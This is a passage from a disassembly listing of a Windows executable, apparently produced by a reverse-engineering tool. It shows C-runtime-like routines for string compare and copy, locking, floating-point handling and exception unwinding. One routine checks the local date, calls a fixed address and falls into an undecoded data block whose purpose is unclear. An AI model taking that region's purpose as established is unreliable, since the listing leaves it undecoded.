8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_8] test eax, eax jz short locret_41EC8C mov edx, [esp+arg_0] push esi push edi mov esi, edx mov edi, [esp+8+arg_4] or edx, edi and edx, 3 jz short loc_41EC8D test eax, 1 jz short loc_41EC6D mov cl, [esi] cmp cl, [edi] jnz short loc_41ECBA inc esi inc edi dec eax jz short loc_41EC8A loc_41EC6D: ; CODE XREF: sub_41EC40+20j ; sub_41EC40+48j mov cl, [esi] mov dl, [edi] cmp cl, dl jnz short loc_41ECBA mov cl, [esi+1] mov dl, [edi+1] cmp cl, dl jnz short loc_41ECBA add edi, 2 add esi, 2 sub eax, 2 jnz short loc_41EC6D loc_41EC8A: ; CODE XREF: sub_41EC40+2Bj ; sub_41EC40+84j pop edi pop esi locret_41EC8C: ; CODE XREF: sub_41EC40+6j retn ; --------------------------------------------------------------------------- loc_41EC8D: ; CODE XREF: sub_41EC40+19j mov ecx, eax and eax, 3 shr ecx, 2 jz short loc_41ECC2 repe cmpsd jz short loc_41ECC2 mov ecx, [esi-4] mov edx, [edi-4] cmp cl, dl jnz short loc_41ECB5 cmp ch, dh jnz short loc_41ECB5 shr ecx, 10h shr edx, 10h cmp cl, dl jnz short loc_41ECB5 cmp ch, dh loc_41ECB5: ; CODE XREF: sub_41EC40+63j ; sub_41EC40+67j ... mov eax, 0 loc_41ECBA: ; CODE XREF: sub_41EC40+26j ; sub_41EC40+33j ... sbb eax, eax pop edi sbb eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_41ECC2: ; CODE XREF: sub_41EC40+55j ; sub_41EC40+59j test eax, eax jz short loc_41EC8A mov edx, [esi] mov ecx, [edi] cmp dl, cl jnz short loc_41ECB5 dec eax jz short loc_41ECE9 cmp dh, ch jnz short loc_41ECB5 dec eax jz short loc_41ECE9 and ecx, 0FF0000h and edx, 0FF0000h cmp edx, ecx jnz short loc_41ECB5 dec eax loc_41ECE9: ; CODE XREF: sub_41EC40+8Fj ; sub_41EC40+96j pop edi pop esi retn sub_41EC40 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41ECF0 proc near ; CODE XREF: sub_40A958+7Ap ; sub_40A958+8Ap ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] mov [ebp+var_4], eax loc_41ECFA: ; CODE XREF: sub_41ECF0+1Fj mov ecx, [ebp+var_4] xor edx, edx mov dx, [ecx] test edx, edx jz short loc_41ED11 mov eax, [ebp+var_4] add eax, 2 mov [ebp+var_4], eax jmp short loc_41ECFA ; --------------------------------------------------------------------------- loc_41ED11: ; CODE XREF: sub_41ECF0+14j ; sub_41ECF0+4Bj mov ecx, [ebp+var_4] mov edx, [ebp+arg_4] mov ax, [edx] mov [ecx], ax mov ecx, [ebp+var_4] xor edx, edx mov dx, [ecx] mov eax, [ebp+var_4] add eax, 2 mov [ebp+var_4], eax mov ecx, [ebp+arg_4] add ecx, 2 mov [ebp+arg_4], ecx test edx, edx jz short loc_41ED3D jmp short loc_41ED11 ; --------------------------------------------------------------------------- loc_41ED3D: ; CODE XREF: sub_41ECF0+49j mov eax, [ebp+arg_0] mov esp, ebp pop ebp retn sub_41ECF0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41ED50 proc near ; CODE XREF: sub_40F19D+333p ; sub_40F19D+3A9p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] mov [ebp+var_4], eax loc_41ED5A: ; CODE XREF: sub_41ED50+34j mov ecx, [ebp+var_4] mov edx, [ebp+arg_4] mov ax, [edx] mov [ecx], ax mov ecx, [ebp+var_4] xor edx, edx mov dx, [ecx] mov eax, [ebp+var_4] add eax, 2 mov [ebp+var_4], eax mov ecx, [ebp+arg_4] add ecx, 2 mov [ebp+arg_4], ecx test edx, edx jz short loc_41ED86 jmp short loc_41ED5A ; --------------------------------------------------------------------------- loc_41ED86: ; CODE XREF: sub_41ED50+32j mov eax, [ebp+arg_0] mov esp, ebp pop ebp retn sub_41ED50 endp ; --------------------------------------------------------------------------- align 10h loc_41ED90: ; CODE XREF: sub_40C5EF+1CCp push ebp mov ebp, esp sub esp, 0D8h lea eax, [ebp-24h] push eax call ds:dword_4F13C8 ; GetLocalTime lea ecx, [ebp-10h] push ecx call near ptr 3D0000h leave mov edx, [ebp-6] and edx, 0FFFFh xor eax, eax mov ax, ds:word_4EE9C2 cmp edx, eax jnz short loc_41EE28 mov ecx, [ebp-8] and ecx, 0FFFFh xor edx, edx mov dx, ds:word_4EE9C0 cmp ecx, edx jnz short loc_41EE28 mov eax, [ebp-0Ah] and eax, 0FFFFh xor ecx, ecx mov cx, ds:word_4EE9BE cmp eax, ecx jnz short loc_41EE28 mov edx, [ebp-0Eh] and edx, 0FFFFh xor eax, eax mov ax, ds:word_4EE9BA cmp edx, eax jnz short loc_41EE28 mov ecx, [ebp-10h] and ecx, 0FFFFh xor edx, edx mov dx, ds:word_4EE9B8 cmp ecx, edx jnz short loc_41EE28 mov eax, ds:dword_4EE9B0 mov [ebp-0D8h], eax jmp loc_41EEB0 ; --------------------------------------------------------------------------- loc_41EE28: ; CODE XREF: seg000:0041EDC0j ; seg000:0041EDD6j ... lea ecx, [ebp-0D0h] push ecx call near ptr 3D0000h mov ecx, [ecx-0D37Bh] inc dword ptr [ebx-0D343h] ; --------------------------------------------------------------------------- dd 3474FFFFh, 0FF2CBD83h, 7502FFFFh, 0CA558B1Fh, 0FFFFE281h dd 0D2850000h, 7D831274h, 0C7400D8h, 0FF2885C7h, 1FFFFh dd 0AEB0000h, 0FF2885C7h, 0FFFFh, 0AEB0000h, 0FF2885C7h dd 0FFFFFFFFh, 858BFFFFh, 0FFFFFF28h, 4EE9B0A3h, 0F04D8B00h dd 0E9B80D89h, 558B004Eh, 0BC1589F4h, 8B004EE9h, 0C0A3F845h dd 8B004EE9h, 0D89FC4Dh, 4EE9C4h ; --------------------------------------------------------------------------- loc_41EEB0: ; CODE XREF: seg000:0041EE23j mov edx, [ebp-0D8h] push edx mov eax, [ebp-18h] and eax, 0FFFFh push eax mov ecx, [ebp-1Ah] and ecx, 0FFFFh push ecx mov edx, [ebp-1Ch] and edx, 0FFFFh push edx mov eax, [ebp-1Eh] and eax, 0FFFFh push eax mov ecx, [ebp-22h] and ecx, 0FFFFh push ecx mov edx, [ebp-24h] and edx, 0FFFFh push edx call sub_4280E0 add esp, 1Ch mov [ebp-14h], eax cmp dword ptr [ebp+8], 0 jz short loc_41EF0A mov eax, [ebp+8] mov ecx, [ebp-14h] mov [eax], ecx loc_41EF0A: ; CODE XREF: seg000:0041EF00j mov eax, [ebp-14h] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EF20 proc near ; DATA XREF: seg002:0043C01Co var_4 = dword ptr -4 push ebp mov ebp, esp push ecx cmp ds:dword_4F0080, 0 jnz short loc_41EF39 mov ds:dword_4F0080, 200h jmp short loc_41EF4C ; --------------------------------------------------------------------------- loc_41EF39: ; CODE XREF: sub_41EF20+Bj cmp ds:dword_4F0080, 14h jge short loc_41EF4C mov ds:dword_4F0080, 14h loc_41EF4C: ; CODE XREF: sub_41EF20+17j ; sub_41EF20+20j push 83h push offset a_file_c ; "_file.c" push 2 push 4 mov eax, ds:dword_4F0080 push eax call sub_41B270 add esp, 14h mov ds:dword_4EF06C, eax cmp ds:dword_4EF06C, 0 jnz short loc_41EFB5 mov ds:dword_4F0080, 14h push 86h push offset a_file_c ; "_file.c" push 2 push 4 mov ecx, ds:dword_4F0080 push ecx call sub_41B270 add esp, 14h mov ds:dword_4EF06C, eax cmp ds:dword_4EF06C, 0 jnz short loc_41EFB5 push 1Ah call sub_420CA0 add esp, 4 loc_41EFB5: ; CODE XREF: sub_41EF20+54j ; sub_41EF20+89j mov [ebp+var_4], 0 jmp short loc_41EFC7 ; --------------------------------------------------------------------------- loc_41EFBE: ; CODE XREF: sub_41EF20+C4j mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx loc_41EFC7: ; CODE XREF: sub_41EF20+9Cj cmp [ebp+var_4], 14h jge short loc_41EFE6 mov eax, [ebp+var_4] shl eax, 5 add eax, offset off_44FA70 mov ecx, [ebp+var_4] mov edx, ds:dword_4EF06C mov [edx+ecx*4], eax jmp short loc_41EFBE ; --------------------------------------------------------------------------- loc_41EFE6: ; CODE XREF: sub_41EF20+ABj mov [ebp+var_4], 0 jmp short loc_41EFF8 ; --------------------------------------------------------------------------- loc_41EFEF: ; CODE XREF: sub_41EF20:loc_41F046j mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_41EFF8: ; CODE XREF: sub_41EF20+CDj cmp [ebp+var_4], 3 jge short loc_41F048 mov ecx, [ebp+var_4] sar ecx, 5 mov edx, [ebp+var_4] and edx, 1Fh imul edx, 24h mov eax, ds:dword_4EED20[ecx*4] cmp dword ptr [eax+edx], 0FFFFFFFFh jz short loc_41F036 mov ecx, [ebp+var_4] sar ecx, 5 mov edx, [ebp+var_4] and edx, 1Fh imul edx, 24h mov eax, ds:dword_4EED20[ecx*4] cmp dword ptr [eax+edx], 0 jnz short loc_41F046 loc_41F036: ; CODE XREF: sub_41EF20+F8j mov ecx, [ebp+var_4] shl ecx, 5 mov ds:dword_44FA80[ecx], 0FFFFFFFFh loc_41F046: ; CODE XREF: sub_41EF20+114j jmp short loc_41EFEF ; --------------------------------------------------------------------------- loc_41F048: ; CODE XREF: sub_41EF20+DCj mov esp, ebp pop ebp retn sub_41EF20 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F050 proc near ; DATA XREF: seg002:0043C034o push ebp mov ebp, esp call sub_4217E0 movsx eax, ds:byte_4EE9A0 test eax, eax jz short loc_41F068 call sub_4285A0 loc_41F068: ; CODE XREF: sub_41F050+11j pop ebp retn sub_41F050 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F070 proc near ; CODE XREF: sub_41ACF0+55p ; sub_41CDD0+8p ... arg_0 = dword ptr 8 push ebp mov ebp, esp cmp [ebp+arg_0], offset off_44FA70 jb short loc_41F09E cmp [ebp+arg_0], offset dword_44FCD0 ja short loc_41F09E mov eax, [ebp+arg_0] sub eax, offset off_44FA70 sar eax, 5 add eax, 1Ch push eax call sub_421A80 add esp, 4 jmp short loc_41F0AB ; --------------------------------------------------------------------------- loc_41F09E: ; CODE XREF: sub_41F070+Aj ; sub_41F070+13j mov ecx, [ebp+arg_0] add ecx, 20h push ecx call ds:dword_4F1364 ; RtlEnterCriticalSection loc_41F0AB: ; CODE XREF: sub_41F070+2Cj pop ebp retn sub_41F070 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F0B0 proc near ; CODE XREF: sub_4217F0+7Ep ; sub_4248B0+6Fp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp cmp [ebp+arg_0], 14h jge short loc_41F0CA mov eax, [ebp+arg_0] add eax, 1Ch push eax call sub_421A80 add esp, 4 jmp short loc_41F0D7 ; --------------------------------------------------------------------------- loc_41F0CA: ; CODE XREF: sub_41F0B0+7j mov ecx, [ebp+arg_4] add ecx, 20h push ecx call ds:dword_4F1364 ; RtlEnterCriticalSection loc_41F0D7: ; CODE XREF: sub_41F0B0+18j pop ebp retn sub_41F0B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F0E0 proc near ; CODE XREF: sub_41ACF0+70p ; sub_41CDD0+2Fp ... arg_0 = dword ptr 8 push ebp mov ebp, esp cmp [ebp+arg_0], offset off_44FA70 jb short loc_41F10E cmp [ebp+arg_0], offset dword_44FCD0 ja short loc_41F10E mov eax, [ebp+arg_0] sub eax, offset off_44FA70 sar eax, 5 add eax, 1Ch push eax call sub_421B20 add esp, 4 jmp short loc_41F11B ; --------------------------------------------------------------------------- loc_41F10E: ; CODE XREF: sub_41F0E0+Aj ; sub_41F0E0+13j mov ecx, [ebp+arg_0] add ecx, 20h push ecx call ds:dword_4F1360 ; RtlLeaveCriticalSection loc_41F11B: ; CODE XREF: sub_41F0E0+2Cj pop ebp retn sub_41F0E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F120 proc near ; CODE XREF: sub_4217F0+116p ; sub_4248B0+A0p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp cmp [ebp+arg_0], 14h jge short loc_41F13A mov eax, [ebp+arg_0] add eax, 1Ch push eax call sub_421B20 add esp, 4 jmp short loc_41F147 ; --------------------------------------------------------------------------- loc_41F13A: ; CODE XREF: sub_41F120+7j mov ecx, [ebp+arg_4] add ecx, 20h push ecx call ds:dword_4F1360 ; RtlLeaveCriticalSection loc_41F147: ; CODE XREF: sub_41F120+18j pop ebp retn sub_41F120 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41F150(double) sub_41F150 proc near ; CODE XREF: sub_40CFCB+38p var_1C = qword ptr -1Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp sub esp, 10h push 0FFFFh mov eax, ds:dword_44FCF0 push eax call sub_4295E0 add esp, 8 mov [ebp+var_C], eax mov ecx, dword ptr [ebp+arg_0+6] and ecx, 0FFFFh and ecx, 7FF0h cmp ecx, 7FF0h jnz loc_41F20B mov edx, dword ptr [ebp+arg_0+4] push edx mov eax, dword ptr [ebp+arg_0] push eax call sub_4293E0 add esp, 8 mov [ebp+var_10], eax cmp [ebp+var_10], 0 jle short loc_41F1E2 cmp [ebp+var_10], 2 jle short loc_41F1AE cmp [ebp+var_10], 3 jz short loc_41F1C7 jmp short loc_41F1E2 ; --------------------------------------------------------------------------- loc_41F1AE: ; CODE XREF: sub_41F150+54j push 0FFFFh mov ecx, [ebp+var_C] push ecx call sub_4295E0 add esp, 8 fld [ebp+arg_0] jmp loc_41F281 ; --------------------------------------------------------------------------- loc_41F1C7: ; CODE XREF: sub_41F150+5Aj mov edx, [ebp+var_C] push edx ; int mov eax, dword ptr [ebp+arg_0+4] push eax mov ecx, dword ptr [ebp+arg_0] push ecx ; double push 0Bh ; int call sub_4286A0 add esp, 10h jmp loc_41F281 ; --------------------------------------------------------------------------- loc_41F1E2: ; CODE XREF: sub_41F150+4Ej ; sub_41F150+5Cj mov edx, [ebp+var_C] push edx ; int fld [ebp+arg_0] fadd ds:dbl_439CE8 sub esp, 8 fstp [esp+1Ch+var_1C] mov eax, dword ptr [ebp+arg_0+4] push eax ; int mov ecx, dword ptr [ebp+arg_0] push ecx ; int push 0Bh ; int push 8 ; int call sub_428770 add esp, 1Ch jmp short loc_41F281 ; --------------------------------------------------------------------------- loc_41F20B: ; CODE XREF: sub_41F150+31j mov edx, dword ptr [ebp+arg_0+4] push edx mov eax, dword ptr [ebp+arg_0] push eax ; double call sub_428680 add esp, 8 fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] fnstsw ax test ah, 40h jz short loc_41F241 push 0FFFFh mov ecx, [ebp+var_C] push ecx call sub_4295E0 add esp, 8 fld [ebp+var_8] jmp short loc_41F281 ; --------------------------------------------------------------------------- loc_41F241: ; CODE XREF: sub_41F150+D9j mov edx, [ebp+var_C] and edx, 20h test edx, edx jz short loc_41F261 push 0FFFFh mov eax, [ebp+var_C] push eax call sub_4295E0 add esp, 8 fld [ebp+var_8] jmp short loc_41F281 ; --------------------------------------------------------------------------- loc_41F261: ; CODE XREF: sub_41F150+F9j mov ecx, [ebp+var_C] push ecx ; int mov edx, dword ptr [ebp+var_8+4] push edx mov eax, dword ptr [ebp+var_8] push eax ; double mov ecx, dword ptr [ebp+arg_0+4] push ecx ; int mov edx, dword ptr [ebp+arg_0] push edx ; int push 0Bh ; int push 10h ; int call sub_428770 add esp, 1Ch loc_41F281: ; CODE XREF: sub_41F150+72j ; sub_41F150+8Dj ... mov esp, ebp pop ebp retn sub_41F150 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F290 proc near ; CODE XREF: sub_41D990+Cp ; DATA XREF: seg002:off_44FCFCo push ebp mov ebp, esp push ebx push esi push edi call sub_41F2D0 call sub_429720 mov ds:dword_4EE9D0, eax call sub_4296A0 fnclex pop edi pop esi pop ebx pop ebp retn sub_41F290 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F2C0 proc near ; DATA XREF: seg002:0044FD00o ; seg002:0044FD04o push ebp mov ebp, esp pop ebp retn sub_41F2C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F2D0 proc near ; CODE XREF: sub_41F290+6p push ebp mov ebp, esp mov ds:off_4503F8, offset sub_429E10 mov ds:off_4503FC, offset sub_429820 mov ds:off_450400, offset sub_429930 mov ds:off_450404, offset sub_429770 mov ds:off_450408, offset sub_429900 mov ds:off_45040C, offset sub_429E10 pop ebp retn sub_41F2D0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov eax, ds:dword_4EE9CC mov [ebp-4], eax mov ecx, [ebp+8] mov ds:dword_4EE9CC, ecx mov eax, [ebp-4] mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F33C proc near ; CODE XREF: sub_40CFCB+1Bp ; sub_40CFCB+44p ... var_C = qword ptr -0Ch var_4 = word ptr -4 var_2 = word ptr -2 push ebp mov ebp, esp add esp, 0FFFFFFF4h fstcw [ebp+var_2] wait mov ax, [ebp+var_2] or ah, 0Ch mov [ebp+var_4], ax fldcw [ebp+var_4] fistp [ebp+var_C] fldcw [ebp+var_2] mov eax, dword ptr [ebp+var_C] mov edx, dword ptr [ebp+var_C+4] leave retn sub_41F33C endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41F370(double) sub_41F370 proc near ; CODE XREF: sub_40D017+79p var_1C = qword ptr -1Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp sub esp, 10h push 0FFFFh mov eax, ds:dword_44FD08 push eax call sub_4295E0 add esp, 8 mov [ebp+var_C], eax mov ecx, dword ptr [ebp+arg_0+6] and ecx, 0FFFFh and ecx, 7FF0h cmp ecx, 7FF0h jnz loc_41F42B mov edx, dword ptr [ebp+arg_0+4] push edx mov eax, dword ptr [ebp+arg_0] push eax call sub_4293E0 add esp, 8 mov [ebp+var_10], eax cmp [ebp+var_10], 0 jle short loc_41F402 cmp [ebp+var_10], 2 jle short loc_41F3CE cmp [ebp+var_10], 3 jz short loc_41F3E7 jmp short loc_41F402 ; --------------------------------------------------------------------------- loc_41F3CE: ; CODE XREF: sub_41F370+54j push 0FFFFh mov ecx, [ebp+var_C] push ecx call sub_4295E0 add esp, 8 fld [ebp+arg_0] jmp loc_41F4A1 ; --------------------------------------------------------------------------- loc_41F3E7: ; CODE XREF: sub_41F370+5Aj mov edx, [ebp+var_C] push edx ; int mov eax, dword ptr [ebp+arg_0+4] push eax mov ecx, dword ptr [ebp+arg_0] push ecx ; double push 0Ch ; int call sub_4286A0 add esp, 10h jmp loc_41F4A1 ; --------------------------------------------------------------------------- loc_41F402: ; CODE XREF: sub_41F370+4Ej ; sub_41F370+5Cj mov edx, [ebp+var_C] push edx ; int fld [ebp+arg_0] fadd ds:dbl_439CE8 sub esp, 8 fstp [esp+1Ch+var_1C] mov eax, dword ptr [ebp+arg_0+4] push eax ; int mov ecx, dword ptr [ebp+arg_0] push ecx ; int push 0Ch ; int push 8 ; int call sub_428770 add esp, 1Ch jmp short loc_41F4A1 ; --------------------------------------------------------------------------- loc_41F42B: ; CODE XREF: sub_41F370+31j mov edx, dword ptr [ebp+arg_0+4] push edx mov eax, dword ptr [ebp+arg_0] push eax ; double call sub_428680 add esp, 8 fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] fnstsw ax test ah, 40h jz short loc_41F461 push 0FFFFh mov ecx, [ebp+var_C] push ecx call sub_4295E0 add esp, 8 fld [ebp+var_8] jmp short loc_41F4A1 ; --------------------------------------------------------------------------- loc_41F461: ; CODE XREF: sub_41F370+D9j mov edx, [ebp+var_C] and edx, 20h test edx, edx jz short loc_41F481 push 0FFFFh mov eax, [ebp+var_C] push eax call sub_4295E0 add esp, 8 fld [ebp+var_8] jmp short loc_41F4A1 ; --------------------------------------------------------------------------- loc_41F481: ; CODE XREF: sub_41F370+F9j mov ecx, [ebp+var_C] push ecx ; int mov edx, dword ptr [ebp+var_8+4] push edx mov eax, dword ptr [ebp+var_8] push eax ; double mov ecx, dword ptr [ebp+arg_0+4] push ecx ; int mov edx, dword ptr [ebp+arg_0] push edx ; int push 0Ch ; int push 10h ; int call sub_428770 add esp, 1Ch loc_41F4A1: ; CODE XREF: sub_41F370+72j ; sub_41F370+8Dj ... mov esp, ebp pop ebp retn sub_41F370 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F4B0 proc near ; CODE XREF: sub_42A540+AEp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov ebx, large fs:0 mov eax, [ebx] mov large fs:0, eax mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] mov esp, [ebx-4] mov ebp, [ebp+var_4] jmp eax sub_41F4B0 endp ; --------------------------------------------------------------------------- pop edi pop esi pop ebx mov esp, ebp pop ebp retn 8 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41F4F0 proc near ; CODE XREF: sub_42AA20+50p arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_41F4F0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41F500 proc near ; CODE XREF: sub_42A7A0+247p arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_41F500 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41F510 proc near ; CODE XREF: sub_42A7A0+21Ep arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_41F510 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F520 proc near ; CODE XREF: sub_41F770+66p ; sub_42A540+38p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi mov eax, large fs:0 mov [ebp+var_8], eax mov [ebp+var_4], offset loc_41F54C push 0 mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_4] push ecx mov edx, [ebp+arg_0] push edx call sub_437A7C ; RtlUnwind loc_41F54C: ; DATA XREF: sub_41F520+12o mov eax, [ebp+arg_4] mov ecx, [eax+4] and ecx, 0FFFFFFFDh mov edx, [ebp+arg_4] mov [edx+4], ecx mov eax, large fs:0 mov ebx, [ebp+var_8] mov [ebx], eax mov large fs:0, ebx pop edi pop esi pop ebx mov esp, ebp pop ebp retn 8 sub_41F520 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F580 proc near ; CODE XREF: seg000:00437FD4j ; seg000:00437FEEj ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi cld mov [ebp+var_8], eax push 0 push 0 push 0 mov eax, [ebp+var_8] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_429EA0 add esp, 20h mov [ebp+var_4], eax pop edi pop esi pop ebx mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_41F580 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp mov eax, [ebp+8] mov ecx, [eax+1Ch] push ecx mov edx, [ebp+8] mov eax, [edx+28h] push eax push 0 mov ecx, [ebp+8] mov edx, [ecx+18h] push edx call sub_42A410 add esp, 10h pop ebp retn 4 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F5F0 proc near ; CODE XREF: sub_42A600+8Ap var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi mov [ebp+var_14], 0 mov [ebp+var_10], offset sub_41F660 mov eax, [ebp+arg_4] mov [ebp+var_C], eax mov ecx, [ebp+arg_0] mov [ebp+var_8], ecx mov edx, [ebp+arg_C] add edx, 1 mov [ebp+var_4], edx mov eax, large fs:0 mov [ebp+var_14], eax lea eax, [ebp+var_14] mov large fs:0, eax mov eax, [ebp+arg_10] push eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+arg_8] push edx call sub_42AB00 mov [ebp+var_18], eax mov eax, [ebp+var_14] mov large fs:0, eax mov eax, [ebp+var_18] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41F5F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F660 proc near ; DATA XREF: sub_41F5F0+10o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi cld push 0 mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_4] mov edx, [ecx+10h] push edx mov eax, [ebp+arg_4] mov ecx, [eax+8] push ecx push 0 mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] mov ecx, [eax+0Ch] push ecx mov edx, [ebp+arg_0] push edx call sub_429EA0 add esp, 20h pop edi pop esi pop ebx pop ebp retn sub_41F660 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F6A0 proc near ; CODE XREF: sub_42A230+2Dp var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 34h push ebx push esi push edi mov [ebp+var_28], 0 mov [ebp+var_24], offset sub_41F770 mov eax, [ebp+arg_10] mov [ebp+var_20], eax mov ecx, [ebp+arg_4] mov [ebp+var_1C], ecx mov edx, [ebp+arg_14] mov [ebp+var_18], edx mov eax, [ebp+arg_18] mov [ebp+var_14], eax mov [ebp+var_10], 0 mov [ebp+var_C], 0 mov [ebp+var_8], 0 mov [ebp+var_4], 0 mov [ebp+var_10], offset loc_41F73C mov [ebp+var_C], esp mov [ebp+var_8], ebp mov eax, large fs:0 mov [ebp+var_28], eax lea eax, [ebp+var_28] mov large fs:0, eax mov [ebp+var_34], 1 mov ecx, [ebp+arg_0] mov [ebp+var_30], ecx mov edx, [ebp+arg_8] mov [ebp+var_2C], edx lea eax, [ebp+var_30] push eax mov ecx, [ebp+arg_0] mov edx, [ecx] push edx call sub_425C30 call dword ptr [eax+68h] add esp, 8 mov [ebp+var_34], 0 loc_41F73C: ; DATA XREF: sub_41F6A0+4Bo cmp [ebp+var_4], 0 jz short loc_41F759 mov ebx, large fs:0 mov eax, [ebx] mov ebx, [ebp+var_28] mov [ebx], eax mov large fs:0, ebx jmp short loc_41F762 ; --------------------------------------------------------------------------- loc_41F759: ; CODE XREF: sub_41F6A0+A0j mov eax, [ebp+var_28] mov large fs:0, eax loc_41F762: ; CODE XREF: sub_41F6A0+B7j mov eax, [ebp+var_34] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41F6A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F770 proc near ; DATA XREF: sub_41F6A0+10o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi cld mov eax, [ebp+arg_0] mov ecx, [eax+4] and ecx, 66h test ecx, ecx jz short loc_41F795 mov edx, [ebp+arg_4] mov dword ptr [edx+24h], 1 mov eax, 1 